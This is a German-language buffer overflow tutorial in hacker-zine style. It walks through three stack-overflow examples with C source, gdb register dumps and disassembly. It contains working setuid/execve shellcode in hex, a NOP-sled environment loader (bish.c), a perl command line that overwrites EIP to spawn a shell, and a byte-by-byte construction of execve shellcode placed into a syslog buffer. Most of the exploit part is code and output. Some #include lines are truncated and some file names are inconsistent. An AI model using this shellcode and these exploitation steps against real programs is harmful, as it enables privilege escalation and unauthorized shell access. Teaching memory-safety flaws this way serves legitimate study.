\=======================================

  ~ B U F F E R  O V E R F L O W S ~

=======================================/
!@# simon@segfault.ch


--[ Contents

  1 - Einführung

  2 - Buffer Overflows

      -B0F Example ONE
      -B0F Example TWO
      -B0F Example THREE

  3 - References



0x00 --[ Einführung

Ich will in diesem Artikel auf die grundlegende Einführung von Buffer Overflows verzichten,
da ich es nicht für notwendig empfinde sie nochmals zusammenzufassen. Ich möchte gleich an
praktischen Beispielen zeigen, wie Buffer Overflows entstehen & wie man sie ausnutzen
kann. 


0x01 --[ B0F Example ONE

Buffer Overflows treten auf bei Programmierfehler oder Benutzterfehler. Ein Puffer läuft über,
wenn die Daten die enthalten sind zu gross in einem zu kleinen Puffer sind. Die Datenbereiche
welche an den Puffer angrenzen werden somit überschrieben. Ein Beispiel ist dynamischer Speicher
welcher mit der malloc(3) angefordert wurde. Wenn dieser falsch Beschrieben wurde, können die
Verwaltungsdaten verändert werden. Dies kann sich zuerst gar nicht bekennbar machen, jedoch evtl.
später wenn durch free() dieser Speicherbereich freigegeben wird.
Eine grössere Gefahr als das abstürzen des Programmes besteht darin, wenn der aufgerufene Prozess
unkontrolliert weiterläuft. Ich werde bald auf ein paar Beispiele kommen um dies verständlich zu
machen.

Im Folgenden werde ich auf den statischen Puffer lenken, der auf dem Stack liegt. Der Stack ist
der Speicherbereich, auf dem die automatischen Variablen angelegt werden.

         +----+----+----+----+----+
<------- |  c |  b |  a | BP | IP |
niedrige +----+----+----+----+----+ hohe
Adressen                            Adressen

Auch zum speichern von Funktionsargumenten und Registern wird der Stack verwendet. Der Stack ist
die Datenstruktur, bei welchem nur das oberste Element gelesen wird, bzw. oben angesetzt wird. Der
Base Pointer (BP) ist nun ein solches Register, der sich den Wert des Stack Pointers (SP) zu einem
bestimmten Zeitpunkt merkt.

Das Folgenden Beispiel zeigt eine Funktion, welche drei Variablen vom Typen int auf den Stack gelegt
hat:

foo()
{
	int a;
	int b;
	int c;
}

Es wird selten passieren, dass man eine solche int Variable zu viel auf den Stack schreibt. Häufiger
jedoch, dass man ein Array als char (Puffer) hat. Bei Arrays besteht hier jedoch die Möglichkeit, dass
man hinter die Speichergrenze schreiben kann. Haben wir also Folgende Funktion, kann man sich leicht
ausdenken, dass der Aufruf von strcpy(3) eine schlechte Idee ist;

bar()
{
	char buf[10];

	strcpy(buf, "Dies ist ein ordentlich langer String.");
}

Man kann feststellen, dass ein Array aus 10 char in Wirklichkeit 12 Byte beanspruchen, weil auf i386
genau 32Bit = 4Byte haben. Wenn jetzt strcpy(3) den zu langen String in das kleine Array schreibt, 
passen die ersten 10 Zeichen wunderbar rein. Die nächsten 2 passen auch noch rein, weil ja der Platz
des Array mit 12 veranschlagt wurde.

Jedoch die nächsten vier überschreiben den alten Base Pointer (BP), und die darauffolgenden 4 überschreiben
auch noch den Instruction Pointer (IP).

Als Beispiel ergibt sich ein Segmention fault

simon@segfault:~$ ./bar
Segmentation fault (core dumped)


Der Sinn besteht jetzt, den Instruction Pointer (IP) neu zu überschreiben:


int baz(void)
{
	int b;
	b = 10;
	return b;
}

int main(void)
{
	int a = 5;
	baz();
	a++;
	printf("a ist %i.\n", a);
	return 0;
}

Die Ausgabe dieses Programms ist "a ist 6". Wir wollen jetzt die Funktion baz() so verändern, dass "a" auf
"5" bleibt


int baz(void)
{
        int b;
        *(&b + 2) += 3;
        return b;
}



simon@segfault:~$ ./baz
a ist 5.

Wir haben nun die Variable b verwendet, welche die Adresse auf dem obersten Elements des Stacks erhaltet.

+----+----+----+
|  b | BP | IP | --> main()
+----+----+----+



0x02 --[ B0F Example TWO

Ein weiteres Beispiel eines Buffer OVerflows:

--------bof.c------------

#include <stdio.h>

int main(int argc, char * argv[]) {

char buf[256];

if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}

strcpy(buf,argv[1]);
printf("%s", buf);

}

--------end bof.c----------

Starten wir das Programm und sehen uns das Ergebniss an

simon@segfault:~$ ./bof
Usage: ./bof input

Ok, geben wir bof einen Input

simon@segfault:~$ ./bof bob
bob

Hier sehen wir, dass es bob als Input nahm, es in den Puffer kopierte und es uns so mittels
printf("%s", buf); ausgab.

Geben wir dem Programm nun mehr Input als es verarbeiten kann

simon@segfault:~$ ./bof `perl -e 'print "A" x 272'`
Segmentation fault (core dumped)

Hier hilft uns gdb weiter

simon@segfault:~$ gdb -c core ./bof

Core was generated by ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg 
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x4000ade1       10737435320
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Wie wir sehen wird unser ebp mit 0x41414141 überschrieben. Wir wollten aber doch den
eip überschreiben?!

Der ebp und der eip sind beide 4 Bytes, und somit haben wir nur den ebp überschrieben.
Also wenn wir's nun um 4 Bytes vergrössern können wir der eip überschreiben. Kurz
dargestellt wie das Memory Layout aussieht

    __|__
   |     |
   | EBP | - 4 byte address
   |_____|
    __|__
   |     |
   | EIP | - next 4 byte address
   |_____|

simon@segfault:~$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)


simon@segfault:~$ gdb -c core ./bof

Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg 
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x41414141       0x41414141
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Wie wir hier nun sehen wurde der eip überschrieben!


Anhand unseres Beispiels bof.c wissen wir nun wie wir durch den Overflow den eip
überschreiben können. Jetzt wollen wir aber durch diesen Overflow eine shell ausführen
lassen

--------bish.c------------

#include <stdio.h>

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
        "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
  char bish[512];

  memset(bish,0x90,512);
  memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
  memcpy(bish,"BISH=",5);
  putenv(bish);
  
  execl("/bin/bash","bash",'\0');
  
return(0); 
} 

--------end bish.c----------

simon@segfault:~$ cc bish.c -o bish ; 
simon@segfault:~$ ./bish
simon@segfault:~$

Wir müssen jetzt das Programm nochmals Overflowen, jedoch nicht den eip mit
0x41414141 überschreiben. Jedoch zuerst müssen wir die Adresse des Shellcodes
herausfinden

simon@segfault:~$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)
simon@segfault:~$ gdb -c core ./bof

Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) x/s $esp
0xbffff7b0:  "ë\222\004@\001" 
(gdb)
0xbffff7b6:  ""

...

0xbffffcbe:      "MAIL=/var/spool/mail/simon"
(gdb)
0xbffffcdc:      "BISH=", '\220' <repeats 190 times>...
(gdb)
0xbffffdc2:      '\220' <repeats 200 times>...
(gdb) x/x 0xbffffdc2 
0xbffffdc2:  0x90909090 

Die NOPS sind in diesem Beispiel hier: 0xbffffdc2:      '\220' <repeats 200 times>...

Wir müssen jetzt diese Adresse in little endian konvertieren. Um dies zu bewerkstelligen
schreiben wir es rückwärts

0xbffffdc2 - 0x = bffffdc2 (0 wird nicht mehr gebraucht)

bffffdc2 rückwärts= c2fdffbf

Wir adden zu jedem Byte \x

c2 fd ff bf = \xc2\xfd\xff\xbf

So haben wir unseren Shellcode um den eip zu überschreiben

simon@segfault:~$ ./bof `perl -e 'print "A" x 260'``printf "\xc2\xfd\xff\xbf"`
sh-2.05$ 


0x03 --[ B0F Example THREE

--------syslog_test_1.c------------

#include

char buffer[4028];

void main() {

   int i;

   for (i=0; i<=4028; i++)
       buffer[i]='A';

   syslog(LOG_ERR, buffer);
}

--------end syslog_test_1.c----------

Compilieren wir das Programm und sehen uns das Ergebniss an
 
simon@segfault:~$ gcc -g syslog_test_1.c -o buf
simon@segfault:~$ ./buf
Segmentation fault (core dumped)

Schauen wir uns das Ergebniss in gdb an

simon@segfault:~$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault
0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)

Ok, wir sehen dass die 41's die Hex Äquivalents sind für 'A'

(gdb) info all-registers
   eax            0xefbfd641       -272640447
   ecx            0x00000000       0
   edx            0xefbfd67c       -272640388
   ebx            0xefbfe000       -272637952
   esp            0xefbfd238       0xefbfd238
   ebp            0xefbfde68       0xefbfde68
   esi            0xefbfd684       -272640380
   edi            0x0000cce8       52456
   eip            0x00001273       0x1273
   ps             0x00010212       66066
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39

Der Befehl info all-registers zeigt die Werte in den aktuellen
Hardware registern. Was uns momentan nur interessiert ist der eip

(gdb) disassemble 0x1273
   [stuff deleted]
   0x1267 :   incl   0xfffff3dc(%ebp)
   0x126d :   testb  %al,%al
   0x126f :   jne    0x125c
   0x1271 :   jmp    0x1276
   0x1273 :   movb   %al,(%ebx)
   0x1275 :   incl   %ebx
   0x1276 :   incl   %edi
   0x1277 :   movb   (%edi),%al
   0x1279 :   testb  %al,%al

Ok, verändern wir doch unseren alten Source syslog_test_1.c

-------------syslog_test_2.c-------------

#include

char buffer[4028];

void main() {

   int i;

   for (i=0; i<2024; i++)
       buffer[i]='A';

   syslog(LOG_ERR, buffer);
}

-----------end syslog_test_2.c-------------

simon@segfault:~$ gcc -g buf.c -o buf
simon@segfault:~$ gdb buf
gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
allocate memory.


(gdb) info all-registers
eax            0xffffffff       -1
ecx            0x00000000       0
edx            0x00000008       8
ebx            0xefbfdeb4       -272638284
esp            0xefbfde70       0xefbfde70
ebp            0x41414141       0x41414141  <----
esi            0xefbfdec0       -272638272
edi            0xefbfdeb8       -272638280
eip            0x00001001       0x1001
ps             0x00000246       582
cs             0x0000001f       31
ss             0x00000027       39
ds             0x00000027       39
es             0x00000027       39
fs             0x00000027       39
gs             0x00000027       39

Wir sehen, dass wir noch 4 Bytes zu unserem Puffer hinzufügen
müssen, um den eip zu überschreiben

---------syslog_test_3.c----------------

#include

char buffer[4028];

void main() {

   int i;

   for (i=0; i<2028; i++)
       buffer[i]='A';

   syslog(LOG_ERR, buffer);
}
-------end syslog_test_3.c------------

simon@segfault:~$ gcc -g buf.c -o buf
simon@segfault:~$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault
0x41414141 in errno (Error accessing memory address
0x41414149: Cannot allocate memory.

(gdb) info all-registers
eax            0xffffffff       -1
ecx            0x00000000       0
edx            0x00000008       8
ebx            0xefbfdeb4       -272638284
esp            0xefbfde70       0xefbfde70
ebp            0x41414141       0x41414141
esi            0xefbfdec0       -272638272
edi            0xefbfdeb8       -272638280
eip            0x41414141       0x41414141
ps             0x00010246       66118
cs             0x0000001f       31
ss             0x00000027       39
ds             0x00000027       39
es             0x00000027       39
fs             0x00000027       39
gs             0x00000027       39

Okey, wir sehen dass eip beim Buffer[2024] anfängt und durch
Buffer[2027] geht.

(gdb) disassemble buffer
..
   0xc738 :   incl   %ecx
   0xc739 :   incl   %ecx
   0xc73a :   incl   %ecx
   0xc73b :   incl   %ecx
   0xc73c :   addb   %al,(%eax)
   0xc73e :   addb   %al,(%eax)
   0xc740 :   addb   %al,(%eax)
..

------nop.c--------
void main(){

__asm__("nop\n");

}
----end nop.c------

simon@segfault:~$ gcc -g nop.c -o nop
simon@segfault:~$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 :  pushl  %ebp
0x1081 :        movl   %esp,%ebp
0x1083 :        nop
0x1084 :        leave
0x1085 :        ret
0x1086 :        addb   %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 :  0x90

Weil nop ist bei 0x1083 und der nächste bei 0x1084, wissen wir
dass nop nur ein Byte braucht

------ syslog_test_4.c---------

#include

char buffer[4028];

void main() {

   int i;

   for (i=0; i<2024; i++)
       buffer[i]=0x90;

   i=2024;

   buffer[i++]=0x3c;
   buffer[i++]=0xc7;
   buffer[i++]=0x00;
   buffer[i++]=0x00;


   syslog(LOG_ERR, buffer);
}
------end syslog_test_4.c-------

Wir brauchen später den eip rückwärts von 0000c73c --> 3c c7 00 00

------execute.c--------
#include
main()
{
   char *name[2];
   name[0] = "sh";
   name[1] = NULL;
   execve("/bin/sh",name,NULL);
}
----end execute.c-------


simon@segfault:~$ gcc -g execute.c -o execute
simon@segfault:~$ ./execute
sh-2.05$ 

Ok, execute funktioniert

simon@segfault:~$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10b8:
0x1088 :  pushl  %ebp
0x1089 :        movl   %esp,%ebp
0x108b :        subl   $0x8,%esp
0x108e :        movl   $0x1080,0xfffffff8(%ebp)
0x1095 :       movl   $0x0,0xfffffffc(%ebp)
0x109c :       pushl  $0x0
0x109e :       leal   0xfffffff8(%ebp),%eax
0x10a1 :       pushl  %eax
0x10a2 :       pushl  $0x1083
0x10a7 :       call   0x10b8
0x10ac :       leave
0x10ad :       ret
0x10ae :       addb   %al,(%eax)
0x10b0 :       jmp    0x1140
0x10b5 :       addb   %al,(%eax)
0x10b7 :       addb   %cl,0x3b05(%ebp)
End of assembler dump.

(gdb) disassemble execve
Dump of assembler code for function execve:
to 0x10c8:
0x10b8 :        leal   0x3b,%eax
0x10be :      lcall  0x7,0x0
0x10c5 :     jb     0x10b0
0x10c7 :     ret
End of assembler dump.

Ok, 0x1083 enthält den /bin/sh string und ist der Letzte, der auf
den Stack gebracht wird

(gdb) x/10bc 0x1083
0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'
                       104 'h'  0 '\000'

Wir werden die Adresse dann ergänzen wo unser String sein wird.
Hier die Assembler Struktur die wir verwenden werden

[main]
   0x108d :        movl   %esp,%ebp

   0x108e :        movl   $0x1083,0xfffffff8(%ebp)
   0x1095 :       movl   $0x0,0xfffffffc(%ebp)
   0x109c :       pushl  $0x0
   0x109e :       leal   0xfffffff8(%ebp),%eax
   0x10a1 :       pushl  %eax
   0x10a2 :       pushl  $0x1080

[execve]
   0x10b8 :        leal   0x3b,%eax
   0x10be :      lcall  0x7,0x0

Ok, wir werden jetzt das Programm mit jump verstezen

   jmp    0x????  # irgendwo XY
   popl   %esi
   popl   %ecx

Und von diesem undefinierten Ort XY aus ein jump back

   call   0x????

Im Ganzen wird es dann so aussehen

----------------------------------------------------------------------
   movl   %esp,%ebp
   xorl   %eax,%eax
   jmp    0x????  # irgendwo
# -------------[main]
   movl   $0x????,0xfffffff8(%ebp)  # irgendwo
                                    # irgendwo
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffff8(%ebp),%eax
   pushl  %eax
   pushl  $0x????                   # irgendwo
                                    # irgendwo
# ------------[execve]
   leal   0x3b,%eax
   lcall  0x7,0x0

   call   0x????  # irgendwo

----------------------------------------------------------------------

Weil wir execve nicht mit einem 'call' definiert haben, müssen wir den
Wert in ecx auf dem Stack simulieren

# ------------[execve]
   pushl  %ecx
   leal   0x3b,%eax
   lcall  0x7,0x0

Weil wir die Adresse für den 'bin/sh'\0' String kennen, sieht das Ganze
so aus

   movl   %esp,%ebp
   xorl   %eax,%eax 
   jmp    0x????    
   popl   %esi      
   popl   %ecx     
   movl   $0x????,0xfffffff5(%ebp)
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffffc(%ebp),%eax  
   pushl  %eax
   pushl  $0x????
   leal   0x3b,%eax
   pushl  %ecx       
   lcall  0x7,0x0
   call   0x????   

Um die Bytes herauszufinden für den Puffer, laden wir nochmals gdb

simon@segfault:~$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c :  pushl  %ebp
0x108d :        movl   %esp,%ebp
0x108f :        subl   $0x8,%esp                      <------
0x1092 :        movl   $0x1080,0xfffffff8(%ebp)
0x1099 :       movl   $0x0,0xfffffffc(%ebp)
0x10a0 :       pushl  $0x0
0x10a2 :       leal   0xfffffff8(%ebp),%eax
0x10a5 :       pushl  %eax
0x10a6 :       pushl  $0x1083
0x10ab :       call   0x10bc
0x10b0 :       leave
0x10b1 :       ret
0x10b2 :       addb   %al,(%eax)
0x10b4 :       jmp    0x1144
0x10b9 :       addb   %al,(%eax)
0x10bb :       addb   %cl,0x3b05(%ebp)
End of assembler dump.

0x108d :        movl   %esp,%ebp

Dies geht von 0x108d zu 0x108e. 0x108f gibt den nächsten Befehl

(gdb) x/2bx 0x108d
0x108d :  0x89  0xe5

Wir kennen jetzt, dass buffer[2028]=0x89 und buffer[2029]=0xe5 ist

0x108c :  pushl  %ebp
   0x108d :        movl   %esp,%ebp
   0x108f :        subl   $0x8,%esp

   (gdb) x/bx 0x108c
   0x108c :  0x55
   (gdb) x/bx 0x108d
   0x108d :  0x89
   (gdb) x/bx 0x108e
   0x108e :  0xe5
   (gdb) x/bx 0x108e
   0x108f :  0x83

----pop.c-------
void main() {

__asm__("popl %esi\n");

}
---end pop.c----

simon@segfault:~$ gcc -g pop.c -o pop
simon@segfault:~$ gdb pop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 :  pushl  %ebp
0x1081 :        movl   %esp,%ebp
0x1083 :        popl   %esi
0x1084 :        leave
0x1085 :        ret
0x1086 :        addb   %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 :  0x5e

Ok, 0x5e ist popl %esi

(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf

Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
                        0xefbfdeac)

(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
0xc73c :   movl   %esp,%ebp
0xc73e :   xorl   %eax,%eax
0xc740 :   jmp    0xc76b
0xc742 :   popl   %esi
0xc743 :   popl   %ecx
0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
0xc74b :   movl   $0x0,0xfffffffc(%ebp)
0xc752 :   pushl  $0x0
0xc754 :   leal   0xfffffffc(%ebp),%eax
0xc757 :   pushl  %eax
0xc758 :   pushl  $0xc773
0xc75d :   leal   0x3b,%eax
0xc763 :   pushl  %ecx
0xc764 :   lcall  0x7,0x0
0xc76b :   call   0xc742
0xc770 :   jae    0xc7da
0xc772 :   addb   %ch,(%edi)
0xc774 :   boundl 0x6e(%ecx),%ebp
0xc777 :   das
0xc778 :   jae    0xc7e2
0xc77a :   addb   %al,(%eax)
0xc77c :   addb   %al,(%eax)
0xc77e :   addb   %al,(%eax)
End of assembler dump.


(gdb) x/13bc 0xc770
0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'
                          98 'b'  105 'i'  110 'n'  47 '/'
xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'


simon@segfault:~$ ./buf
sh-2.05$ 


0x04 --[ References

http://community.corest.com/~gera/InsecureProgramming/
http://kerneltrap.org/node/3759/
http://l0t3k.org/programming/docs/b0f/

==EOF==